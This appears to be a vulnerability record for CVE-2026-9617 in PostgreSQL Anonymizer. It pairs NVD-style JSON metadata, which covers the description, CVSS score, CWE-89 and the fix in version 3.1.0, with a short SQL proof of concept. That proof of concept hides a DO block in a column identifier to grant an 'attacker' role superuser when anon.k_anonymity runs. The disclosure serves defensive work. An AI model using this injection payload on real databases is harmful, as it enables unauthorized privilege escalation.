CVE-2026-9617

-- Step 1: Create a table with a malicious column identifier -- The payload is injected into the column name definition CREATE TABLE evil_table ( id integer, "); DO $$ BEGIN EXECUTE 'ALTER USER attacker WITH SUPERUSER'; END $$; --" text ); -- Step 2: Trigger the vulnerability -- When a superuser runs the k-anonymity function on this table, -- the malicious code inside the column identifier is executed. SELECT anon.k_anonymity('evil_table');

{"cve": {"id": "CVE-2026-9617", "sourceIdentifier": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "published": "2026-05-27T14:17:40.273", "lastModified": "2026-05-27T14:54:20.160", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "PostgreSQL Anonymizer contains a vulnerability that allows a user to gain superuser privileges by creating a table and placing malicious code inside a column identifier. If a superuser calls the k-anonymity function, the malicious code is executed with superuser privileges. The risk is higher with PostgreSQL 14 or with instances upgraded from PostgreSQL 14 or a prior version. With PostgreSQL 15 and later, the creation permission on the public schema is revoked by default and this exploit can only be achieved by a user who was explicitly granted the CREATE TABLE privilege. The problem is resolved in PostgreSQL Anonymizer 3.1.0 and further versions"}], "metrics": {"cvssMetricV31": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://gitlab.com/dalibo/postgresql_anonymizer/-/issues/640", "source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007"}]}}